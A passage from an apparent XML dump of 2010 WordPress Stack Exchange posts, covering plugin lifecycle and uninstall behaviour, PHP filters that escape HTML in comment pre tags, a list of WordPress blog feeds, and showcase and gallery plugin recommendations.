Explorer&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot; rel=&quot;nofollow&quot;&gt;Fiddler 2&lt;/a&gt; - Unbeatable HTTP debugger&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fineprint.com/products/fineprint/index.html&quot; rel=&quot;nofollow&quot;&gt;FinePrint&lt;/a&gt; - 2, 4 and 8 up printing (Oh how I miss it on OS X!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thats about it. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I deleted &lt;a href=&quot;http://extendmac.com/flow/&quot; rel=&quot;nofollow&quot;&gt;Flow (FTP client)&lt;/a&gt; from my list and replaced it with &lt;a href=&quot;http://panic.com/transmit/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Transmit&lt;/strong&gt; (FTP Client)&lt;/a&gt; which is a much better tool. Thanks for the great recommendation &lt;em&gt;@John P Bloch!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-06T16:48:13.463" LastActivityDate="2011-04-06T16:48:13.463" CommunityOwnedDate="2010-08-16T04:01:12.990" CommentCount="1" />
  <row Id="389" PostTypeId="2" ParentId="373" CreationDate="2010-08-16T08:53:42.627" Score="2" ViewCount="" Body="&lt;p&gt;If you want to learn the specifics of WordPress then &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Main_Page&lt;/a&gt; is a good resource. There are plenty of blogs around on WordPress tweaks and development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an OPML excerpt from my blog feeds that are WordPress specific. Just import them into a folder in Google reader and see if any of them appeal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;outline title=&quot;WordPress&quot; text=&quot;WordPress&quot;&amp;gt;&#xA;        &amp;lt;outline text=&quot;Blog Oh Blog&quot; title=&quot;Blog Oh Blog&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://www.blogohblog.com/feed/&quot; htmlUrl=&quot;http://www.blogohblog.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;BraveNewCode Inc.&quot; title=&quot;BraveNewCode Inc.&quot;&#xA;            type=&quot;rss&quot; xmlUrl=&quot;http://www.bravenewcode.com/feed/&quot; htmlUrl=&quot;http://www.bravenewcode.com/&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;CatsWhoCode.com&quot; title=&quot;CatsWhoCode.com&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/Catswhocode&quot; htmlUrl=&quot;http://www.catswhocode.com/blog&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Fun with WordPress&quot;&#xA;            title=&quot;Fun with WordPress&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/wp-fun&quot; htmlUrl=&quot;http://wp-fun.co.uk&quot;/&amp;gt;&#xA;        &amp;lt;outline&#xA;            text=&quot;Graphic and Web Design Blog - Inspiration, Resources and Tools » Wordpress&quot;&#xA;            title=&quot;Graphic and Web Design Blog - Inspiration, Resources and Tools » Wordpress&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://www.1stwebdesigner.com/category/wordpress/feed/&quot; htmlUrl=&quot;http://www.1stwebdesigner.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Holy Shmoly!&quot; title=&quot;Holy Shmoly!&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://ocaoimh.ie/feed/&quot; htmlUrl=&quot;http://ocaoimh.ie&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Justin Tadlock&quot; title=&quot;Justin Tadlock&quot;&#xA;            type=&quot;rss&quot; xmlUrl=&quot;http://justintadlock.com/feed&quot; htmlUrl=&quot;http://justintadlock.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Lorelle on WordPress&quot;&#xA;            title=&quot;Lorelle on WordPress&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://lorelle.wordpress.com/feed/&quot; htmlUrl=&quot;http://lorelle.wordpress.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Nathan Rice&quot; title=&quot;Nathan Rice&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/nathanricenet&quot; htmlUrl=&quot;http://www.nathanrice.net&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;News Magazine&quot; title=&quot;News Magazine&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/WpProject&quot; htmlUrl=&quot;http://www.wpproject.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;OMNINOGGIN&quot; title=&quot;OMNINOGGIN&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/omninoggin&quot; htmlUrl=&quot;http://omninoggin.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Perishable Press&quot; title=&quot;Perishable Press&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://perishablepress.com/press/feed/&quot; htmlUrl=&quot;http://perishablepress.com/press&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Pro Blog Design&quot; title=&quot;Pro Blog Design&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/ProBlogDesign&quot; htmlUrl=&quot;http://www.problogdesign.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Simple:Press Forum&quot;&#xA;            title=&quot;Simple:Press Forum&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://simplepressforum.com/feed/&quot; htmlUrl=&quot;http://simple-press.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;StylizedWeb.com&quot; title=&quot;StylizedWeb.com&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/stylizedweb&quot; htmlUrl=&quot;http://stylizedweb.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Theme Hybrid&quot; title=&quot;Theme Hybrid&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/themehybrid&quot; htmlUrl=&quot;http://themehybrid.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Theme Playground&quot; title=&quot;Theme Playground&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/themeplayground&quot; htmlUrl=&quot;http://themeplayground.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Vladimir Prelovac&quot; title=&quot;Vladimir Prelovac&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/VladimirPrelovac&quot; htmlUrl=&quot;http://www.prelovac.com/vladimir&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;whateverblog.&quot; title=&quot;whateverblog.&quot;&#xA;            type=&quot;rss&quot; xmlUrl=&quot;http://jcheng.wordpress.com/feed/&quot; htmlUrl=&quot;http://jcheng.wordpress.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordCamp Association&quot;&#xA;            title=&quot;WordCamp Association&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://wordcamp.org.au/feed/&quot; htmlUrl=&quot;http://wordcamp.org.au&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordPress Development Blog&quot;&#xA;            title=&quot;WordPress Development Blog&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://wordpress.org/development/feed/&quot; htmlUrl=&quot;http://wordpress.org/news&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordPress for Beginners&quot;&#xA;            title=&quot;WordPress for Beginners&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://www.wpbeginner.com/feed/&quot; htmlUrl=&quot;http://www.wpbeginner.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordPress Hacker&quot; title=&quot;WordPress Hacker&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/WordpressHacker&quot; htmlUrl=&quot;http://wphackr.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordPress Tavern&quot; title=&quot;WordPress Tavern&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds2.feedburner.com/WordpressTavern&quot; htmlUrl=&quot;http://www.wptavern.com&quot;/&amp;gt;&#xA;        &amp;lt;outline&#xA;            text=&quot;WordPress › Support » User Favorites: cadbloke&quot;&#xA;            title=&quot;WordPress › Support » User Favorites: cadbloke&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://wordpress.org/support/rss/profile/cadbloke&quot; htmlUrl=&quot;http://wordpress.org/support/profile/&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WordPress.com News&quot;&#xA;            title=&quot;WordPress.com News&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://en.blog.wordpress.com/feed/&quot; htmlUrl=&quot;http://en.blog.wordpress.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WP Engineer&quot; title=&quot;WP Engineer&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://wpengineer.com/feed/&quot; htmlUrl=&quot;http://wpengineer.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WP Engineer&quot; title=&quot;WP Engineer&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/WpEngineer&quot; htmlUrl=&quot;http://wpengineer.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;wplover&quot; title=&quot;wplover&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/wplover&quot; htmlUrl=&quot;http://www.wplover.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WpRecipes.com&quot; title=&quot;WpRecipes.com&quot;&#xA;            type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/wprecipes&quot; htmlUrl=&quot;http://www.wprecipes.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;WPWebHost&quot; title=&quot;WPWebHost&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://wpwebhost.com/feed/&quot; htmlUrl=&quot;http://www.wpwebhost.com&quot;/&amp;gt;&#xA;        &amp;lt;outline text=&quot;Yoast»  - Yoast - Tweaking Websites&quot;&#xA;            title=&quot;Yoast»  - Yoast - Tweaking Websites&quot; type=&quot;rss&quot;&#xA;            xmlUrl=&quot;http://feeds.feedburner.com/joostdevalk?format=xml&quot; htmlUrl=&quot;http://yoast.com/feed/&quot;/&amp;gt;&#xA;    &amp;lt;/outline&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="83" LastActivityDate="2010-08-16T08:53:42.627" />
  <row Id="390" PostTypeId="1" AcceptedAnswerId="393" CreationDate="2010-08-16T10:38:16.937" Score="2" ViewCount="152" Body="&lt;p&gt;What is a plugin lifetime within a deployed instance of Wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;do the plugins modify existing files or do they only use defined extension points within wordpress?&lt;/li&gt;&#xA;&lt;li&gt;are plugins allowed to modify database schema (e.g. add new columns)?&lt;/li&gt;&#xA;&lt;li&gt;how does Wordpress make sure that plugin uninstall always leaves Wordpress in original state? (Does it?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-08-16T18:34:17.787" Title="Does plugin uninstall always put Wordpress back into original state?" Tags="&lt;plugins&gt;&lt;installation&gt;&lt;uninstallation&gt;&lt;lifetime&gt;" AnswerCount="3" />
  <row Id="391" PostTypeId="1" AcceptedAnswerId="400" CreationDate="2010-08-16T12:02:31.220" Score="2" ViewCount="235" Body="&lt;p&gt;By default, WordPress strips out any content that might be unescaped HTML in comments from unregistered users, which is good to protect against XSS, but it unnecessarily extends that filtering into &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; elements too.  On my blog, where almost every post generates comments that benefit from HTML code snippets, that filtering has caused my users (and myself) lots of frustrating trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to &quot;fix&quot; that overly aggressive filtering inside &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; elements within unregistered comments, without disabling it for the rest of the comment?  Preferably, in a way that survives upgrades.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2010-08-30T11:05:04.820" Title="Relaxing unescaped HTML filtering inside &lt;pre&gt; tags?" Tags="&lt;comments&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="392" PostTypeId="2" ParentId="390" CreationDate="2010-08-16T12:45:26.220" Score="2" ViewCount="" Body="&lt;p&gt;Plugins in WordPress do what the code says. To answer specifically to your questions,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They shouldn't, but there's nothing stopping them from modifying core files.&lt;/li&gt;&#xA;&lt;li&gt;They are allowed to fully interface with the database in any way that WordPress itself can.&lt;/li&gt;&#xA;&lt;li&gt;WordPress doesn't make sure that a plugin uninstall doesn't destroy the whole installation. If a plugin author set the uninstall function to delete everything, it would do it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So this leaves the question, what can be done if a plugin author betrays your trust and does something malicious to your site? Having regular backups of your wp-content directory as well as your whole database is the best way to ensure you will be able to recover in the event that something happens to your site (e.g. data loss, hack attack, bad plugin, etc.).&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-16T12:45:26.220" CommentCount="1" />
  <row Id="393" PostTypeId="2" ParentId="390" CreationDate="2010-08-16T12:54:42.690" Score="11" ViewCount="" Body="&lt;p&gt;Short answer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plugins do not modify existing files, they hook into WordPress via an exposed API.&lt;/li&gt;&#xA;&lt;li&gt;Plugins can modify database schema.&lt;/li&gt;&#xA;&lt;li&gt;Plugins don't have to uninstall cleanly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Plugin Hooks&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Plugins hook into WordPress at specific point exposed by the WordPress core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, the function &lt;code&gt;get_option()&lt;/code&gt; reads a site option from the database. Before any real action is taken inside this function, WordPress calls &lt;code&gt;apply_filters( 'pre_option_' . $option, false )&lt;/code&gt;. Given an option &lt;code&gt;foobar&lt;/code&gt;, a plugin could override this option's true value with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function override_foobar( $unused ) {&#xA;    return 'My custom value.';&#xA;}&#xA;add_filter( 'pre_option_foobar', 'override_foobar' ); // add_filter(hook, function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://adambrown.info/p/wp_hooks/&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Plugins modifying the database&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Plugins have the ability to modify the database, assuming the WordPress database user still has that permission. Some of the more complex plugins add their own tables. It's possible that a plugin could modify core tables, and hopefully they would do this responsibly and in a way that doesn't break things if the plugin is removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has to be examined on a plugin-by-plugin basis.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Uninstalling plugins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;deactivate_plugins()&lt;/code&gt; function calls the action &lt;code&gt;do_action( 'deactivate_' . trim( $plugin ) )&lt;/code&gt;. A plugin should hook to this action if specific things need to happen when the plugin is deactivated. In my experience few plugins do a lot of deactivation cleanup, ie. putting their settings in cold storage in case they are activated again.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-16T12:54:42.690" CommentCount="1" />
  <row Id="394" PostTypeId="1" CreationDate="2010-08-16T13:14:14.410" Score="1" ViewCount="76" Body="&lt;p&gt;I need to be able to add some data (text/images) to each comment in the comments section through a plugin. What I'm trying to do is actually very similar to the way the stack exchange sites have their little user profiles in questions/answers that show a user's points and badge count. I've tried using a few filters (most recently &quot;comment_author&quot; - yeah, didn't work too well) but haven't found something that would work. I need a spot where I can inject some information about the user that won't mess up other parts of the blog (like admin sections) and that will hopefully play nice with whatever theme they are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize starting out that this probably won't work for every theme but hopefully there is an answer for those themes that stick to the general blog layout.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2010-08-18T08:22:15.753" Title="Modifying the comments section through a plugin regardless of theme" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="395" PostTypeId="1" CreationDate="2010-08-16T14:04:16.253" Score="11" ViewCount="354" Body="&lt;p&gt;As WordPress grows, it becomes possible to make more and more sites using the technology. Pages and the permalink structure give it CMS power, custom taxonomies and post types expand this further to differentiate chronological posts, pages and arbitrary objects, and plugins fill the gaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can use WordPress to power your blog, photo gallery, and website. What are some of the more creative uses you've seen that exploit powerful WordPress features? What are some sites that made you say, &quot;&lt;em&gt;That's&lt;/em&gt; WordPress?&quot;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-11-14T01:06:48.320" CommunityOwnedDate="2010-08-16T14:04:16.253" Title="Creative uses of WordPress" Tags="&lt;showcase&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="13" />
  <row Id="396" PostTypeId="2" ParentId="395" CreationDate="2010-08-16T14:45:52.253" Score="4" ViewCount="" Body="&lt;h1&gt;Contact Manager&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rolopress.com/&quot; rel=&quot;nofollow&quot;&gt;http://rolopress.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Organize contacts and companies… your way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easily enter and modify contacts and companies&lt;/li&gt;&#xA;&lt;li&gt;Keep track of phone numbers, email addresses, websites, social networks and many other types of information.&lt;/li&gt;&#xA;&lt;li&gt;Create your own Themes.&lt;/li&gt;&#xA;&lt;li&gt;Add functionality by installing Plugins. (or write your own)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-16T14:45:52.253" CommunityOwnedDate="2010-08-16T14:45:52.253" />
  <row Id="397" PostTypeId="2" ParentId="391" CreationDate="2010-08-16T15:53:05.583" Score="1" ViewCount="" Body="&lt;p&gt;Although this might be a little more than you're looking for, &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-syntax/&quot; rel=&quot;nofollow&quot;&gt;WP-Syntax&lt;/a&gt; disables HTML filtering within &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags inside posts and comments (AFAIK). It also works for Wordpress 3.0, even though the website says it works only with 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to make it simpler, I suggest looking in &lt;code&gt;wp-syntax.php&lt;/code&gt; within the plugin (specifically at the very bottom where they use &lt;code&gt;add_filters()&lt;/code&gt; to see how they disable Wordpress's automatic HTML filtering within &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags. You can then apply that to comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have looked at the file, and they use regex and PHP's &lt;a href=&quot;http://php.net/preg_replace_callback&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;preg_replace_callback()&lt;/code&gt;&lt;/a&gt; to preserve the original HTML within &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags. You might have to modify it to fit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have, for example (note: untested code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Unique string for placeholder&#xA;$custom_token = md5(uniqid(rand()));&#xA;&#xA;// Store all the matches in an array&#xA;$custom_matches = array();&#xA;&#xA;function custom_substitute(&amp;amp;$match) {&#xA;    global $custom_token, $custom_matches;&#xA;&#xA;    $i = count($custom_matches);&#xA;&#xA;    // Store the match for later use&#xA;    $custom_matches[$i] = $match;&#xA;&#xA;    // Unique placeholder so that we know where to put the code that was ripped out&#xA;    return '&amp;lt;p&amp;gt;' . $custom_token . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;function custom_replace($match) {&#xA;    global $custom_matches;&#xA;&#xA;    $i = intval($match[1]);&#xA;    $match = $custom_matches[$i];&#xA;&#xA;    // The index might be off - you might want to double-check it&#xA;    return htmlentities($match[1]);&#xA;}&#xA;&#xA;function custom_before_content_filter($content) {&#xA;    return preg_replace_callback(&quot;/\s*&amp;lt;pre+&amp;gt;(.*)&amp;lt;\/pre&amp;gt;\s*/siU&quot;, 'custom_substitute', $content);&#xA;}&#xA;&#xA;function custom_after_content_filter($content) {&#xA;    global $custom_token;&#xA;&#xA;    return preg_replace_callback(&quot;/&amp;lt;p&amp;gt;\s*&quot; . $custom_token . &quot;\s*&amp;lt;\/p&amp;gt;/si&quot;, 'custom_replace', $content);&#xA;}&#xA;// Run the &quot;before&quot; filter first, with priority of 0&#xA;add_filter('comment_text', 'custom_before_content_filter', 0);&#xA;&#xA;// Now run the &quot;after&quot; filter&#xA;add_filter('comment_text', 'custom_after_content_filter', 99);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditorDisplayName="" LastEditDate="2010-08-16T16:36:42.507" LastActivityDate="2010-08-16T16:36:42.507" CommentCount="1" />
  <row Id="398" PostTypeId="2" ParentId="394" CreationDate="2010-08-16T16:01:12.613" Score="1" ViewCount="" Body="&lt;p&gt;You tried 'comment_author', so maybe you are aware of 'comments_array' filter hook?  It hands you all the content information in an array.  Maybe you could use the array and add your info to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe try using the comment_form hook to redirect to your own form.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-16T16:01:12.613" />
  <row Id="399" PostTypeId="2" ParentId="171" CreationDate="2010-08-16T16:50:21.303" Score="3" ViewCount="" Body="&lt;p&gt;This is why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/stats/tags/1.7.2/stats.php#L685&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/stats/tags/1.7.2/stats.php#L685&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deactivation hook deletes your database information. I'm guessing you're manually deactivating the plugin, updating, and then re-activating? If so, that runs the deactivation hook. Fortunately, that's not from the latest version. This is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/stats/tags/1.7.3/stats.php#L686&quot; rel=&quot;nofollow&quot;&gt;http://plugins.trac.wordpress.org/browser/stats/tags/1.7.3/stats.php#L686&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that shouldn't happen anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you shouldn't think that this means you were doing anything wrong. They shouldn't be deleting information on deactivation, only on uninstall. Kind of strange that they were doing it at all...&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-16T16:50:21.303" CommentCount="1" />
  <row Id="400" PostTypeId="2" ParentId="391" CreationDate="2010-08-16T17:11:18.680" Score="5" ViewCount="" Body="&lt;p&gt;a small solution; the highlighting was in my blog via javascript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pre_esc_html($content) {&#xA;  return preg_replace_callback(&#xA;    '#(&amp;lt;pre.*?&amp;gt;)(.*?)(&amp;lt;/pre&amp;gt;)#imsu',&#xA;    create_function(&#xA;      '$i',&#xA;      'return $i[1].esc_html($i[2]).$i[3];'&#xA;    ),&#xA;    $content&#xA;  );&#xA;}&#xA;&#xA;add_filter(&#xA;  'the_content',&#xA;  'pre_esc_html',&#xA;  9&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-08-30T11:05:04.820" LastActivityDate="2010-08-30T11:05:04.820" CommentCount="4" />
  <row Id="401" PostTypeId="2" ParentId="152" CreationDate="2010-08-16T18:18:30.097" Score="1" ViewCount="" Body="&lt;p&gt;I think the the W3 Total Cache Plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/w3-total-cache/&lt;/a&gt; can help you..&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-16T18:18:30.097" />
  <row Id="402" PostTypeId="2" ParentId="390" CreationDate="2010-08-16T18:34:17.787" Score="0" ViewCount="" Body="&lt;p&gt;Straight answer: NO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins can do whatever you can do with PHP code..&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-16T18:34:17.787" />
  <row Id="403" PostTypeId="2" ParentId="395" CreationDate="2010-08-16T18:46:38.357" Score="2" ViewCount="" Body="&lt;p&gt;Using WP as a forum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thedeadone.net/download/tdo-forum-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://thedeadone.net/download/tdo-forum-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-16T18:46:38.357" CommunityOwnedDate="2010-08-16T18:46:38.357" />
  <row Id="404" PostTypeId="2" ParentId="395" CreationDate="2010-08-16T18:47:41.987" Score="2" ViewCount="" Body="&lt;p&gt;Just Tell Me Why&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justtellmewhy.com/&quot; rel=&quot;nofollow&quot;&gt;http://justtellmewhy.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Web 2.0 platform for debates...&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-16T18:47:41.987" CommunityOwnedDate="2010-08-16T18:47:41.987" />
  <row Id="405" PostTypeId="2" ParentId="299" CreationDate="2010-08-16T18:50:39.890" Score="1" ViewCount="" Body="&lt;p&gt;I second Pbearne- the Next Generation Gallery is - bar none- the best gallery plugin for wordpress out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also quite like flickr-gallery if one needs to source images from flickr, specifically if you want to display sets &amp;amp; have them auto-update when the set is updated.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2010-08-16T18:50:39.890" CommunityOwnedDate="2010-08-16T18:50:39.890" />
  <row Id="406" PostTypeId="2" ParentId="324" CreationDate="2010-08-16T20:38:53.063" Score="0" ViewCount="" Body="&lt;p&gt;My main editor is Dreamweaver CS5, Dreamweaver's had a bum rap in many developer's eyes I think but it's improved a lot in the last few versions. For WordPress dev then the latest CS5 release brings direct support for working with WordPress as well as greatly improved PHP auto-completion so it's a pretty nice coding environment, as well as offering some pretty handy tools for those with a more visual development leaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on OSX but it's pretty much the same on Win or Mac really. Dreamweaver does also offer Subversion integration but personally I prefer to use either &lt;a href=&quot;http://www.zennaware.com/&quot; rel=&quot;nofollow&quot;&gt;Cornerstone&lt;/a&gt; or &lt;a href=&quot;http://versionsapp.com&quot; rel=&quot;nofollow&quot;&gt;Versions&lt;/a&gt; on Mac to deal with SVN.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-16T20:38:53.063" CommunityOwnedDate="2010-08-16T20:38:53.063" />
  <row Id="407" PostTypeId="2" ParentId="299" CreationDate="2010-08-16T20:48:16.707" Score="0" ViewCount="" Body="&lt;p&gt;I'm working on this exact thing right now, it's been a bit of a frustrating experience really. It seems like you have to jump through a bunch of hoops to make it work, and I've still not got it working quite how I'd like it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to implement is using a category page to display images based on specific categories / child categories and then have them be viewable by a JS lightbox method. What I find clunky is that you need to attach all images to posts first before you can categorise them, this seems like an unnecessary step when it seems like there's no reason why an image couldn't have categories linked to it just like any other post in the wp_posts table - images are technically attachment post_type after all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to just upload images and categorise them at the time of upload without having to place them in a specific page seems much more sensible to me. Or am I missing some kind of benefit with the current method here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue I'm encountering in WP3.01 is that when I place an image in a post and then delete it that it 